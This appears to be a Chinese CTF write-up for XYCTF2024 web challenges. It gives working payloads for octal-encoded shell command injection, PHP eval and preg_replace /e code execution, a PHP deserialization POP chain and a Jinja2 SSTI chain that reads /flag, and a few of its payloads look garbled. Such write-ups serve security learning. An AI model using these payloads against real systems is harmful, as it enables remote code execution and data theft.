XYCTF2024

ezRCE

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
function waf($cmd){
$white_list = ['0','1','2','3','4','5','6','7','8','9','\\','\'','$','<'];
$cmd_char = str_split($cmd);
foreach($cmd_char as $char){
if (!in_array($char, $white_list)){
die("really ez?");
}
}
return $cmd;
}
$cmd=waf($_GET["cmd"]);
system($cmd);

白名单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
143 141 164 146 154 141 147  163  077
c a t f l a g s ?
/?cmd=$'\143\141\164'<$'\146\154\077\147'

ls
/?cmd=$'\154\163'

whoami
/?cmd=$'\167\150\157\141\155\151'

cd ..
/?cmd=$'\143\144'<$'\056\056\73'<$'\154\163'
/?cmd=$'\143\144\040\056\056'
// 无法执行

$IFS
\44\111\106\123

$IFS$9
\44\111\106\123\44\71

cat /flag
\143\141\164 \57\146\154\141\147
/?cmd=$'\143\141\164\44\111\106\123\57\146\154\141\147'
/?cmd=$'\143\141\164\44\111\106\123\44\71\57\146\154\141\147'

ls /
/?cmd=$'\154\163'<$'\57'

cat index.php
/?cmd=$'\143\141\164\40\151\156\144\145\170\56\160\150\160'

cd ..;cd ..;ls;
/?cmd=$'\143\144\040\056\056\073\143\144\040\056\05\073\154\163\073'

cd ..&&ls
/?cmd=$'\143\144\15\056\056\046\046\154\163'

_POST[1]
/?cmd='\137\120\117\123\124\133\61\135'

/?cmd=$'\143\141\164'<$'\57\146\154\141\147'

Untitled

Untitled

exp

1
$0<<<$0\<\<\<\$\'\\$(($((1<<1))#10001111))\\$(($((1<<1))#100011#10010010))\\$(($((1<<1))#10011010))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10010011))\'

ezHttp

  1. ./robots.txt 获得托管文件 → 进一步得到账号密码
  2. clint referer 协议
  3. via 改写代理

牢大

  1. 题干
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
highlight_file(__FILE__);
function Kobe($cmd)
{
if (strlen($cmd) > 13) {
die("see you again~");
}
if (preg_match("/echo|exec|eval|system|fputs|\.|\/|\\|/i", $cmd)) {
die("肘死你");
}
foreach ($_GET as $val_name => $val_val) {
if (preg_match("/bin|mv|cp|ls|\||f|a|l|\?|\*|\>/i", $val_val)) {
return "what can i say";
}
}
return $cmd;
}

$cmd = Kobe($_GET['cmd']);
echo "#man," . $cmd . ",manba out";
echo "<br>";
eval("#man," . $cmd . ",mamba out");

#man,,manba out
  1. 根据 cmd 的强过滤和长度限制 基本上无法直接 rce
  2. payload 构造:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
// 初版
?cmd=include$_GET[1]?>&1=php://filter/read=flag.php
// 显然长度还是不够短 且 ?> 被过滤
// 用 # 代替 ?> (URL编码为%23)
?cmd=include$_GET[1];%23&1=php://filter/read=flag.php

// 舍弃include
?cmd=$_GET[1]?>&1=cat flag;

// f l 导致cat flag过不了
// 使用八进制+拼写绕过+CRLF注入漏洞
/*
URL编码
LF = %0a

八进制编码
c = 143
a = 141
t = 164
?cmd=%0a`$_GET[1]`;%23&1=$'\143\160'+$'\57\146\154\141\147'+$'\142\142\142'
/ = 57
f = 146
l = 154
a = 141
g = 147

test = 164 145 163 164
*/

?cmd=%0a`$_GET[1]`?>&1=$`\143\141\164`+$`\146\154\141\147`;

// 回显只有`$_GET[1]`
// 学前面的题目 分离出flag文件 cp flag test
// ?cmd=<LF>`$_GET[1]`;#&1=$'cp'+$'/flag'+$'test'
?cmd=%0a`$_GET[1]`;%23&1=$'\143\160'+$'\57\146\154\141\147'+$'\164\145\163\164'

// 最后的payload
?cmd=%0a`$_GET[1]`;%23&1=$'\143\160'+$'\57\146\154\141\147'+$'\164\145\163\164'


// 现在flag已经被复制出来了 访问./flag即可下载 (跟ezmake一样)

Untitled

ezMAKE

  1. 题目传参给到 cmd
  2. 执行 cat cmd
  3. cmd 的具体内容是自己给的
  4. 应该是给 flag 被过滤
  5. 访问../flag 拿到 flag 包 用 linux 系统 cat flag 拿到 flag
  6. 这个应该是非预期了 按照出题人的方法”trick” 排除 linux 绕过 , 应该要找一个 linux 不绕过但是 php 绕过的办法 干扰过滤
  7. 访问./flag 下载文件 linux cat

ez?Make

  1. 反而比 ezmake 好做
  2. 进到 makefile 界面 ;依然被过滤
  3. 给了管道符 && 以及 cd 命令等
  4. cd ..&&cd ..&&cd .. &&echo cat flag
  5. flag 依然被 ban
  6. 利用编码绕过
  7. cd ..&&cd ..&&cd ..&&echo 63617420666c6167| xxd - r - p | sh

ezPOP

  1. php 反序列化漏洞
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
error_reporting(0);
highlight_file(__FILE__);

class AAA
{
public $s;
public $a;
public function __toString()
{
echo "you get 2 A <br>";
$p = $this->a;
return $this->s->$p;
}
}

class BBB
{
public $c;
public $d;
public function __get($name)
{
echo "you get 2 B <br>";
$a=$_POST['a'];
$b=$_POST;
$c=$this->c;
$d=$this->d;
if (isset($b['a'])) {
unset($b['a']);
}
call_user_func($a,$b)($c)($d);
}
}

class CCC
{
public $c;

public function __destruct()
{
echo "you get 2 C <br>";
echo $this->c;
}
}


if(isset($_GET['xy'])) {
$a = unserialize($_GET['xy']);
throw new Exception("noooooob!!!");
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
AAA 类有一个 __toString() 魔术方法
当对象被转换为字符串时会触发
这个方法会输出 "you get 2 A "
然后尝试调用 $this->a 属性对应的方法,并返回 $this->s->$p 的结果。

BBB 类有一个 __get() 魔术方法
当尝试获取未定义属性时会触发
这个方法会输出 "you get 2 B"
然后尝试获取 $_POST['a'] 的值,并调用这个值作为回调函数。
这个回调函数接收 $_POST 数组作为参数,并在调用时传入 $this->c 和 $this->d。

CCC 类有一个 _destruct() 魔术方法
对象被销毁时会触发
这个方法会输出 "you get 2 C"
以及 $this->c 的值。

最后,如果 $_GET['xy'] 被设置,代码会尝试反序列化这个值,并立即抛出一个异常。
为了解决这个练习题,我们需要找到一个序列化的对象字符串,当反序列化后,能够触发特定的行为。
我们需要构造一个对象,

- AAA 对象的 s 属性是一个 BBB 对象,a 属性是一个字符串 '__get',这样当 AAA 对象被转换为字符串时,会触发 BBB 类的 __get() 方法。
- BBB 对象的 c 和 d 属性分别是可以触发 CCC 对象析构的值,这样当 __get() 方法被触发时,CCC 对象会被正确构造。
- CCC 对象的 c 属性是一个可以被外部控制的值,这样我们就可以通过构造 CCC 对象来影响最终的输出。

基于以上分析,我们可以构造如下序列化字符串:
php
O:3:"AAA":2:{s:N;a:6:"__get";};
O:3:"BBB":2:{c:O:3:"CCC":1:{c:*;};d:*;};
O:3:"CCC":1:{c:"cat flag";};

这个序列化字符串定义了一个 AAA 对象,其 s 属性是 BBB 对象,a 属性是字符串 "__get"
BBB 对象的 c 属性是 CCC 对象,d 属性可以是任意值
CCC 对象的 c 属性可以是任何值,这里使用了字符串 "flag" 作为示例。
当这个序列化字符串被反序列化时,它会创建相应的对象结构,并在适当的时候触发魔术方法。
最终,CCC 对象的析构函数会被调用,并输出 "flag"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<?php
error_reporting(0);

class AAA
{
public $s;
public $a;
public function __toString()
{
echo "you get 2 A <br>";
$p = $this->a;
return $this->s->$p;
}
}

class BBB
{
public $c='73797374656d';
public $d='ls';
public function __get($name)
{
echo "you get 2 B <br>";
$a=$_POST['a'];
$b=$_POST;
$c=$this->c;
$d=$this->d;
if (isset($b['a'])) {
unset($b['a']);
}
call_user_func($a,$b)($c)($d);
}
}

class CCC
{
public $c;

public function __destruct()
{
echo "you get 2 C <br>";
echo $this->c;
}
}


if(isset($_GET['xy'])) {
$a = unserialize($_GET['xy']);
throw new Exception("noooooob!!!");
}


$a = new CCC();
$a->c = new AAA();
$a->c->s = new BBB();
$a = array($a,null);

echo serialize($a);


a:2:{i:0;O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";s:12:"73797374656d";s:1:"d";s:2:"ls";}s:1:"a";s:1:"g";}}i:0;N;}

a:2:{i:0;O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";s:12:"73797374656d";s:1:"d";s:9:"cat /flag";}s:1:"1";s:1:"1";}}i:0;N;}

a:2:{i:0;O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";s:12:"73797374656d";s:1:"d";s:9:"cat /flag";}}}}

a=current&c=hex2bin

复读机

  1. 用 bp 爆破密码 : admin / asdqwe
  2. payload
1
?sentence=﹛(()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)(132)|attr(request.values.e)|attr(request.values.f)|attr(request.values.d)(request.values.g)(request.values.g)(request.values.h)).read()﹜&a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals__&g=popen&h=cat /flag
1
2
3
4
5
6
7
8
9
10
11
12
?sentence=﹛(()|
attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)(132)|
attr(request.values.e)|attr(request.values.f)|
attr(request.values.d)(request.values.g)(request.values.g)(request.values.h)).read()﹜
&a=__class__
&b=__base__
&c=__subclasses__
&d=__getitem__
&e=__init__
&f=__globals__
&g=popen
&h=cat /flag
  1. 题目使用 javascript 前端
1
2
3
4
5
6
7
8
9
10
11
<script>
function previewImage(input, previewId) {
if (input.files && input.files[0]) {
var reader = new FileReader();
reader.onload = function (e) {
document.getElementById(previewId).innerHTML = '<img src="' + e.target.result + '" width="200" />';
};
reader.readAsDataURL(input.files[0]);
}
}
</script>
  1. ok 这是个预览
  2. {“areEqual”:true,”md5Equal”:false,”md5_1”:”ff76f8f69fc9e242711c71ea6e4cf200”,”md5_2”:”9273c34e146531604741f67e948ba736”}

表面题目是需要不同内容的图片得到同一个 md5

  1. 抓包看看是前端检验还是后端检验
1
2
3
4
5
6
7
8
9
10
11
------WebKitFormBoundaryu2bDN3LjbIsFsAdH
Content-Disposition: form-data; name="file1"; filename="1.jpg"
Content-Type: image/jpeg

ÿØÿagibleÿÙ
------WebKitFormBoundaryu2bDN3LjbIsFsAdH
Content-Disposition: form-data; name="file2"; filename="2.jpg"
Content-Type: image/jpeg

ÿØÿGÿÙ
------WebKitFormBoundaryu2bDN3LjbIsFsAdH--
  1. 强相等 无法绕过 只能 md5 碰撞两个真的 md5 一样的不同图片了

warm up

  1. 第一关是分别几个 md5 绕过
  2. payload 为
1
/?val1=QNKCDZO&val2=240610708&md5=0e215962017&XYCTF=240610708&XY=240610708
  1. 得到 LLeeevvveeelll222.php
  2. 第二关首先是绕过数字检测
1
a[]=1
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);

if (isset($_POST['a']) && !preg_match('/[0-9]/', $_POST['a']) && intval($_POST['a']))
{
echo "操作你O.o";
echo preg_replace($_GET['a'],$_GET['b'],$_GET['c']);
// 我可不会像别人一样设置10来个level
}

else {
die("有点汗流浃背");
}
  1. 最后卡了一下 preg_replace()
  2. php 代码审计之 preg_replace 函数-CSDN 博客
1
a[]=1&b=system('pwd')&c[]=1
1
2

?a=/abc/e&b=system('cat /flag')&c=abc
  1. 现在会输出一个”system(‘ls’)”